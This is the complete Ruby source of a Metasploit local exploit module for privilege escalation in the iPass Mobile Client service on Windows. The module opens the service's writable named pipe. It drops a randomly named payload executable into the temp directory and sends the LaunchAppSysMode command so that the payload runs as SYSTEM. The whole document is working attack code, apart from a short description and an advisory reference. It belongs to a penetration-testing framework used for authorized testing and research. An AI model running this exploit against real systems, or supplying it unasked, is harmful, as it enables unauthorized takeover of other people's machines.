## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Post::Windows::Priv include Msf::Post::Windows::Services def initialize(info={}) super(update_info(info, { 'Name' => 'iPass Mobile Client Service Privilege Escalation', 'Description' => %q{ The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact with the iPass service. The service provides a LaunchAppSysMode command which allows to execute arbitrary commands as SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'h0ng10' # Vulnerability discovery, metasploit module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows', { } ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'References' => [ ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt'] ], 'DisclosureDate' => 'Mar 12 2015', 'DefaultTarget' => 0 })) register_options([ OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']) ], self.class) end def check os = sysinfo['OS'] unless os =~ /windows/i return Exploit::CheckCode::Safe end svc = service_info('iPlatformService') if svc && svc[:display] =~ /iPlatformService/ vprint_good("Found service '#{svc[:display]}'") if is_running? vprint_good('Service is running') else vprint_error('Service is not running!') end vprint_good('Opening named pipe...') handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE') if handle.nil? vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found') return Exploit::CheckCode::Safe else vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!') session.railgun.kernel32.CloseHandle(handle) end return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def open_named_pipe(pipe) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0) handle = r['return'] return nil if handle == invalid_handle_value handle end def write_named_pipe(handle, command) buffer = Rex::Text.to_unicode(command) w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil) if w['return'] == false print_error('The was an error writing to pipe, check permissions') return false end true end def is_running? begin status = service_status('iPlatformService') rescue RuntimeError => e print_error('Unable to retrieve service status') return false end return status && status[:state] == 4 end def exploit if is_system? fail_with(Failure::NoTarget, 'Session is already elevated') end handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE") if handle.nil? fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found") else print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...") end if datastore['WritableDir'] and not datastore['WritableDir'].empty? temp_dir = datastore['WritableDir'] else temp_dir = client.sys.config.getenv('TEMP') end print_status("Using #{temp_dir} to drop malicious exe") begin cd(temp_dir) rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory") end print_status('Writing malicious exe to remote filesystem') write_path = pwd exe_name = "#{rand_text_alpha(10 + rand(10))}.exe" begin write_file(exe_name, generate_payload_exe) register_file_for_cleanup("#{write_path}\\#{exe_name}") rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}") end print_status('Sending LauchAppSysMode command') begin write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;") rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, 'Failed to write to pipe') end unless write_res fail_with(Failure::Unknown, 'Failed to write to pipe') end end end